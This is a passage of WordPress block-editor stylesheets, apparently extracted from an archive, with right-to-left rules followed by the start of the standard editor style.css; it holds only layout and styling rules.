  font-size:13px;
  font-weight:500;
  line-height:20px;
  margin:0;
  row-gap:4px;
  word-break:break-word;
}
.editor-post-card-panel__icon{
  flex:0 0 24px;
  height:24px;
  width:24px;
}
.editor-post-card-panel__header{
  display:flex;
  justify-content:space-between;
}
.editor-post-card-panel.has-description .editor-post-card-panel__header{
  margin-bottom:8px;
}
.editor-post-card-panel .editor-post-card-panel__title-name{
  padding:2px 0;
}

.editor-post-card-panel .editor-post-card-panel__description,.editor-post-content-information{
  color:#757575;
}
.editor-post-content-information .components-text{
  color:inherit;
}

.editor-post-discussion__panel-dialog .editor-post-discussion{
  margin:8px;
  min-width:248px;
}

.editor-post-discussion__panel-toggle .components-text{
  color:inherit;
}

.editor-post-discussion__panel-dialog .components-popover__content{
  min-width:320px;
}

.editor-post-excerpt__textarea{
  margin-bottom:10px;
  width:100%;
}

.editor-post-excerpt__dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-featured-image{
  padding:0;
}
.editor-post-featured-image .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.editor-post-featured-image__container{
  position:relative;
}
.editor-post-featured-image__container:focus .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image),.editor-post-featured-image__container:hover .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-is-requesting-image){
  opacity:1;
}
.editor-post-featured-image__container .editor-post-featured-image__actions.editor-post-featured-image__actions-missing-image{
  margin-top:16px;
  opacity:1;
}
.editor-post-featured-image__container .components-drop-zone__content{
  border-radius:2px;
}
.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner{
  align-items:center;
  display:flex;
  gap:8px;
}
.editor-post-featured-image__container:has(.editor-post-featured-image__toggle) .components-drop-zone .components-drop-zone__content-inner .components-drop-zone__content-icon{
  margin:0;
}

.editor-post-featured-image__preview,.editor-post-featured-image__toggle{
  box-shadow:0 0 0 0 var(--wp-admin-theme-color);
  display:flex;
  justify-content:center;
  min-height:40px;
  outline-offset:-1px;
  overflow:hidden;
  padding:0;
  width:100%;
}

.editor-post-featured-image__preview{
  height:auto !important;
  outline:1px solid #0000001a;
}
.editor-post-featured-image__preview .editor-post-featured-image__preview-image{
  aspect-ratio:2/1;
  object-fit:cover;
  object-position:50% 50%;
  width:100%;
}

.editor-post-featured-image__toggle{
  box-shadow:inset 0 0 0 1px #ccc;
}
.editor-post-featured-image__toggle:focus:not(:disabled){
  box-shadow:0 0 0 currentColor inset, 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){
  bottom:0;
  opacity:0;
  padding:8px;
  position:absolute;
}
@media not (prefers-reduced-motion){
  .editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image){
    transition:opacity 50ms ease-out;
  }
}
.editor-post-featured-image__actions:not(.editor-post-featured-image__actions-missing-image) .editor-post-featured-image__action{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background:#ffffffbf;
}
.editor-post-featured-image__actions .editor-post-featured-image__action{
  flex-grow:1;
  justify-content:center;
}

[class].editor-post-format__suggestion{
  margin:4px 0 0;
}

.editor-post-format__dialog .editor-post-format__dialog-content{
  margin:8px;
  min-width:248px;
}

.editor-post-last-edited-panel{
  color:#757575;
}
.editor-post-last-edited-panel .components-text{
  color:inherit;
}

.editor-post-last-revision__title{
  font-weight:500;
  width:100%;
}

.editor-post-last-revision__title.components-button.has-icon{
  height:100%;
  justify-content:space-between;
}
.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{
  background:#f0f0f0;
}
.editor-post-last-revision__title.components-button.has-icon:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.components-panel__body.is-opened.editor-post-last-revision__panel{
  height:48px;
  padding:0;
}
.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{
  padding:16px;
}

.editor-private-post-last-revision__button{
  display:inline-block;
}

.editor-post-locked-modal__buttons{
  margin-top:24px;
}

.editor-post-locked-modal__avatar{
  border-radius:50%;
  margin-top:16px;
  min-width:auto !important;
}

.editor-post-panel__row{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:32px;
  width:100%;
}

.editor-post-panel__row-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  hyphens:auto;
  line-height:20px;
  min-height:32px;
  padding:6px 0;
  width:38%;
}

.editor-post-panel__row-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:32px;
}
.editor-post-panel__row-control .components-button{
  height:auto;
  max-width:100%;
  min-height:32px;
  text-align:right;
  text-wrap:balance;
  text-wrap:pretty;
  white-space:normal;
}
.editor-post-panel__row-control .components-dropdown{
  max-width:100%;
}

.editor-post-panel__section{
  padding:16px;
}

.editor-post-publish-panel__content{
  min-height:calc(100% - 144px);
}
.editor-post-publish-panel__content>.components-spinner{
  display:block;
  margin:100px auto 0;
}

.editor-post-publish-panel__header{
  align-content:space-between;
  align-items:center;
  background:#fff;
  border-bottom:1px solid #ddd;
  display:flex;
  height:61px;
  padding-left:16px;
  padding-right:16px;
}
.editor-post-publish-panel__header .components-button{
  justify-content:center;
  width:100%;
}
.editor-post-publish-panel__header .has-icon{
  margin-right:auto;
  width:auto;
}

.components-site-card{
  align-items:center;
  display:flex;
  margin:16px 0;
}

.components-site-icon{
  border:none;
  border-radius:2px;
  flex-shrink:0;
  height:36px;
  margin-left:12px;
  width:36px;
}

.components-site-name{
  display:block;
  font-size:14px;
}

.components-site-home{
  color:#757575;
  display:block;
  font-size:12px;
  word-break:break-word;
}

.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
  flex:1;
}
@media (min-width:480px){
  .editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
    max-width:160px;
  }
}

.editor-post-publish-panel__header-publish-button{
  justify-content:center;
  padding-right:4px;
}

.editor-post-publish-panel__header-cancel-button{
  padding-left:4px;
}

.editor-post-publish-panel__header-published{
  flex-grow:1;
}

.editor-post-publish-panel__footer{
  padding:16px;
}

.components-button.editor-post-publish-panel__toggle.is-primary{
  align-items:center;
  display:inline-flex;
}
.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{
  display:none;
}
.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{
  margin-left:-4px;
}

.editor-post-publish-panel__link{
  font-weight:400;
  padding-right:4px;
}

.editor-post-publish-panel__prepublish{
  padding:16px;
}
.editor-post-publish-panel__prepublish strong{
  color:#1e1e1e;
}
.editor-post-publish-panel__prepublish .components-panel__body{
  background:#fff;
  margin-left:-16px;
  margin-right:-16px;
}
.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{
  display:none;
}
.editor-post-publish-panel__prepublish .components-panel__body-title .components-button{
  align-items:flex-start;
  text-wrap:balance;
  text-wrap:pretty;
}

.post-publish-panel__postpublish .components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:none;
}

.post-publish-panel__postpublish-buttons{
  align-content:space-between;
  display:flex;
  flex-wrap:wrap;
  gap:16px;
}
.post-publish-panel__postpublish-buttons .components-button{
  flex:1;
  justify-content:center;
}
.post-publish-panel__postpublish-buttons .components-clipboard-button{
  width:100%;
}

.post-publish-panel__postpublish-post-address-container{
  align-items:flex-end;
  display:flex;
  margin-bottom:16px;
}
.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{
  flex:1;
}
.post-publish-panel__postpublish-post-address-container input[readonly]{
  background:#f0f0f0;
  border-color:#ccc;
  height:36px;
  overflow:hidden;
  padding:12px;
  text-overflow:ellipsis;
}

.post-publish-panel__postpublish-post-address__copy-button-wrap{
  flex-shrink:0;
  margin-right:16px;
}

.post-publish-panel__postpublish-header{
  font-weight:500;
}

.post-publish-panel__postpublish-subheader{
  margin:0 0 8px;
}

.post-publish-panel__tip{
  color:#f0b849;
}

@media screen and (max-width:782px){
  .post-publish-panel__postpublish-post-address__button-wrap .components-button{
    height:40px;
  }
}
.editor-post-publish-panel{
  background:#fff;
  bottom:0;
  left:0;
  overflow:auto;
  position:fixed;
  right:0;
  top:46px;
  z-index:100001;
}
@media (min-width:782px){
  .editor-post-publish-panel{
    border-right:1px solid #ddd;
    right:auto;
    top:32px;
    width:281px;
    z-index:99998;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .editor-post-publish-panel{
    animation:editor-post-publish-panel__slide-in-animation .1s forwards;
    transform:translateX(-100%);
  }
}
@media (min-width:782px){
  body.is-fullscreen-mode .editor-post-publish-panel{
    top:0;
  }
  [role=region]:focus .editor-post-publish-panel{
    transform:translateX(0);
  }
}

@keyframes editor-post-publish-panel__slide-in-animation{
  to{
    transform:translateX(0);
  }
}
.editor-post-saved-state{
  align-items:center;
  color:#757575;
  display:flex;
  overflow:hidden;
  padding:12px 4px;
  white-space:nowrap;
  width:28px;
}
.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{
  background:#0000;
  color:#757575;
}
.editor-post-saved-state svg{
  display:inline-block;
  flex:0 0 auto;
  fill:currentColor;
  margin-left:8px;
}
@media (min-width:600px){
  .editor-post-saved-state{
    padding:8px 12px;
    text-indent:inherit;
    width:auto;
  }
  .editor-post-saved-state svg{
    margin-left:0;
  }
}

.editor-post-save-draft.has-text.has-icon svg{
  margin-left:0;
}

.editor-post-schedule__panel-dropdown{
  width:100%;
}

.editor-post-schedule__dialog .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-status{
  max-width:100%;
}
.editor-post-status.is-read-only{
  padding:6px 12px;
}
.editor-post-status .editor-post-status__toggle.editor-post-status__toggle{
  padding-bottom:4px;
  padding-top:4px;
}

.editor-change-status__password-fieldset,.editor-change-status__publish-date-wrapper{
  border-top:1px solid #e0e0e0;
  padding-top:16px;
}

.editor-change-status__content .components-popover__content{
  min-width:320px;
  padding:16px;
}
.editor-change-status__content .editor-change-status__password-legend{
  margin-bottom:8px;
  padding:0;
}
.editor-change-status__content p.components-base-control__help:has(.components-checkbox-control__help){
  margin-top:4px;
}

.editor-post-sticky__checkbox-control{
  border-top:1px solid #e0e0e0;
  padding-top:16px;
}

.editor-post-sync-status__value{
  padding:6px 12px 6px 0;
}

.editor-post-taxonomies__hierarchical-terms-list{
  margin-right:-6px;
  margin-top:-6px;
  max-height:14em;
  overflow:auto;
  padding-right:6px;
  padding-top:6px;
}

.editor-post-taxonomies__hierarchical-terms-choice{
  margin-bottom:8px;
}
.editor-post-taxonomies__hierarchical-terms-choice:last-child{
  margin-bottom:4px;
}

.editor-post-taxonomies__hierarchical-terms-subchoices{
  margin-right:16px;
  margin-top:8px;
}

.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{
  margin-bottom:4px;
}

.editor-post-taxonomies__flat-term-most-used-list{
  margin:0;
}
.editor-post-taxonomies__flat-term-most-used-list li{
  display:inline-block;
  margin-left:8px;
}

.editor-post-template__swap-template-modal{
  z-index:1000001;
}

.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
  padding-top:2px;
}
@media (min-width:782px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}

.editor-post-template__dropdown .components-popover__content{
  min-width:240px;
}
.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{
  background:inherit;
  color:inherit;
}

@media (min-width:782px){
  .editor-post-template__create-form{
    width:320px;
  }
}

.editor-post-template__classic-theme-dropdown{
  padding:8px;
}

textarea.editor-post-text-editor{
  border:1px solid #949494;
  border-radius:0;
  box-shadow:none;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:16px !important;
  line-height:2.4;
  margin:0;
  min-height:200px;
  overflow:hidden;
  padding:16px;
  resize:none;
  width:100%;
}
@media not (prefers-reduced-motion){
  textarea.editor-post-text-editor{
    transition:border .1s ease-out,box-shadow .1s linear;
  }
}
@media (min-width:600px){
  textarea.editor-post-text-editor{
    font-size:15px !important;
    padding:24px;
  }
}
textarea.editor-post-text-editor:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  position:relative;
}
textarea.editor-post-text-editor::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
textarea.editor-post-text-editor::-moz-placeholder{
  color:#1e1e1e9e;
}
textarea.editor-post-text-editor:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.editor-post-title.is-raw-text{
  margin-bottom:24px;
  margin-top:2px;
  max-width:none;
}

.editor-post-url__panel-dropdown{
  width:100%;
}

.editor-post-url__panel-dialog .editor-post-url{
  margin:8px;
  min-width:248px;
}
.editor-post-url__front-page-link,.editor-post-url__link{
  direction:ltr;
  word-break:break-word;
}
.editor-post-url__front-page-link{
  padding:6px 12px 6px 0;
}

.editor-post-url__link-slug{
  font-weight:600;
}

.editor-post-url__input input.components-input-control__input{
  padding-inline-start:0 !important;
}

.editor-post-url__panel-toggle{
  word-break:break-word;
}

.editor-post-url__intro{
  margin:0;
}

.editor-post-url__permalink{
  margin-bottom:0;
  margin-top:8px;
}
.editor-post-url__permalink-visual-label{
  display:block;
}

.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  margin-left:12px;
  margin-top:2px;
  max-width:24px;
  min-width:24px;
  padding:6px 8px;
  position:relative;
  transition:none;
  width:24px;
}
@media not (prefers-reduced-motion){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    height:16px;
    max-width:16px;
    min-width:16px;
    width:16px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:12px;
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
  width:12px;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
    height:8px;
    width:8px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border:none;
}
.editor-post-visibility__fieldset .editor-post-visibility__info{
  color:#757575;
  margin-right:36px;
  margin-top:.5em;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__info{
    margin-right:28px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{
  margin-bottom:0;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  margin-right:32px;
  padding:6px 8px;
  width:calc(100% - 32px);
}
@media not (prefers-reduced-motion){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    transition:box-shadow .1s linear;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.editor-posts-per-page-dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-trash.components-button{
  flex-grow:1;
  justify-content:center;
}

.editor-preview-dropdown .editor-preview-dropdown__toggle.has-icon.has-text{
  padding-left:4px;
  padding-right:6px;
}

.editor-preview-dropdown__button-external{
  display:flex;
  justify-content:space-between;
  width:100%;
}

.editor-resizable-editor.is-resizable{
  margin:0 auto;
  overflow:visible;
}

.editor-resizable-editor__resize-handle{
  appearance:none;
  background:none;
  border:0;
  border-radius:9999px;
  bottom:0;
  cursor:ew-resize;
  height:100px;
  margin:auto 0;
  outline:none;
  padding:0;
  position:absolute;
  top:0;
  width:12px;
}
.editor-resizable-editor__resize-handle:after{
  background-color:#75757566;
  border-radius:9999px;
  bottom:16px;
  content:"";
  left:0;
  position:absolute;
  right:4px;
  top:16px;
  width:4px;
}
.editor-resizable-editor__resize-handle.is-left{
  right:-18px;
}
.editor-resizable-editor__resize-handle.is-right{
  left:-18px;
}
.editor-resizable-editor__resize-handle:active,.editor-resizable-editor__resize-handle:focus,.editor-resizable-editor__resize-handle:hover{
  opacity:1;
}
.editor-resizable-editor__resize-handle:active:after,.editor-resizable-editor__resize-handle:focus:after,.editor-resizable-editor__resize-handle:hover:after{
  background-color:var(--wp-admin-theme-color);
}

.editor-layout__toggle-entities-saved-states-panel,.editor-layout__toggle-publish-panel,.editor-layout__toggle-sidebar-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  bottom:auto;
  box-sizing:border-box;
  display:flex;
  height:auto !important;
  justify-content:center;
  left:0;
  padding:24px;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:280px;
  z-index:100000;
}

.interface-interface-skeleton__actions:focus .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .editor-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .editor-layout__toggle-publish-panel{
  bottom:0;
  top:auto;
}

.editor-start-page-options__modal .editor-start-page-options__modal__actions{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:92px;
  margin-left:-32px;
  margin-right:-32px;
  padding-left:32px;
  padding-right:32px;
  position:absolute;
  width:100%;
  z-index:1;
}
.editor-start-page-options__modal .block-editor-block-patterns-list{
  padding-bottom:92px;
}

.editor-start-page-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .editor-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-start-page-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
  margin-bottom:24px;
}
.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  min-height:100px;
}
.editor-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{
  width:100%;
}

.editor-start-template-options__modal .editor-start-template-options__modal__actions{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:92px;
  margin-left:-32px;
  margin-right:-32px;
  padding-left:32px;
  padding-right:32px;
  position:absolute;
  width:100%;
  z-index:1;
}
.editor-start-template-options__modal .block-editor-block-patterns-list{
  padding-bottom:92px;
}

.editor-start-template-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .editor-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.editor-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{
  display:none;
}

.components-panel__header.editor-sidebar__panel-tabs{
  padding-left:8px;
  padding-right:0;
}
.components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{
  padding:0;
}
@media (min-width:782px){
  .components-panel__header.editor-sidebar__panel-tabs .components-button.has-icon{
    display:flex;
  }
}

.editor-post-summary .components-v-stack:empty{
  display:none;
}

.editor-site-discussion-dropdown__content .components-popover__content{
  min-width:320px;
  padding:16px;
}

.table-of-contents__popover.components-popover .components-popover__content{
  min-width:380px;
}

.components-popover.table-of-contents__popover{
  z-index:99998;
}

.table-of-contents__popover .components-popover__content{
  padding:16px;
}
@media (min-width:600px){
  .table-of-contents__popover .components-popover__content{
    max-height:calc(100vh - 120px);
    overflow-y:auto;
  }
}
.table-of-contents__popover hr{
  margin:10px -16px 0;
}

.table-of-contents__wrapper:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.table-of-contents__counts{
  display:flex;
  flex-wrap:wrap;
  margin:-8px 0 0;
}

.table-of-contents__count{
  color:#1e1e1e;
  display:flex;
  flex-basis:33%;
  flex-direction:column;
  font-size:13px;
  margin-bottom:0;
  margin-top:8px;
  padding-left:8px;
}
.table-of-contents__count:nth-child(4n){
  padding-left:0;
}

.table-of-contents__number,.table-of-contents__popover .word-count{
  color:#1e1e1e;
  font-size:21px;
  font-weight:400;
  line-height:30px;
}

.table-of-contents__title{
  display:block;
  font-size:15px;
  font-weight:600;
  margin-top:20px;
}

.editor-text-editor{
  background-color:#fff;
  flex-grow:1;
  position:relative;
  width:100%;
}
.editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){
  border:1px solid #949494;
  border-radius:0;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:2.5em;
  font-weight:400;
  line-height:1.4;
  max-width:none;
  padding:16px;
}
@media (min-width:600px){
  .editor-text-editor .editor-post-title.is-raw-text textarea,.editor-text-editor .editor-post-title:not(.is-raw-text){
    padding:24px;
  }
}
.editor-text-editor .editor-post-title.is-raw-text textarea:focus,.editor-text-editor .editor-post-title:not(.is-raw-text):focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.editor-text-editor__body{
  margin-left:auto;
  margin-right:auto;
  max-width:1080px;
  padding:0 12px 12px;
  width:100%;
}
@media (min-width:960px){
  .editor-text-editor__body{
    padding:0 24px 24px;
  }
}

.editor-text-editor__toolbar{
  background:#fffc;
  display:flex;
  left:0;
  padding:4px 12px;
  position:sticky;
  right:0;
  top:0;
  z-index:1;
}
@media (min-width:600px){
  .editor-text-editor__toolbar{
    padding:12px;
  }
}
@media (min-width:960px){
  .editor-text-editor__toolbar{
    padding:12px 24px;
  }
}
.editor-text-editor__toolbar h2{
  color:#1e1e1e;
  font-size:13px;
  line-height:40px;
  margin:0 0 0 auto;
}

.editor-visual-editor{
  align-items:center;
  background-color:#ddd;
  display:flex;
  position:relative;
}
.editor-visual-editor iframe[name=editor-canvas]{
  background-color:initial;
}
.editor-visual-editor.is-resizable{
  max-height:100%;
}
.editor-visual-editor.has-padding{
  padding:24px 24px 0;
}
.editor-visual-editor.is-iframed{
  overflow:hidden;
}
.editor-visual-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  padding:6px 12px;
}
.editor-visual-editor .components-button.has-icon,.editor-visual-editor .components-button.is-tertiary{
  padding:6px;
}

.editor-fields-content-preview{
  border-radius:4px;
  display:flex;
  flex-direction:column;
  height:100%;
}
.dataviews-view-table .editor-fields-content-preview{
  flex-grow:0;
  width:96px;
}
.editor-fields-content-preview .block-editor-block-preview__container,.editor-fields-content-preview .editor-fields-content-preview__empty{
  margin-bottom:auto;
  margin-top:auto;
}

.editor-fields-content-preview__empty{
  text-align:center;
}PK1Xd[�\����dist/editor/style.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.interface-complementary-area-header{
  background:#fff;
  gap:4px;
  padding-right:8px;
}
.interface-complementary-area-header .interface-complementary-area-header__title{
  margin:0 auto 0 0;
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
  height:100%;
  overflow:auto;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{
  top:0;
}
.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  font-weight:500;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:auto;
  right:10px;
  top:auto;
}

.interface-complementary-area__fill{
  height:100%;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-left:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  max-height:100%;
  position:fixed;
  right:0;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    left:160px;
  }
}
.folded .interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    left:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  left:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
  position:relative;
}
@media (min-width:782px){
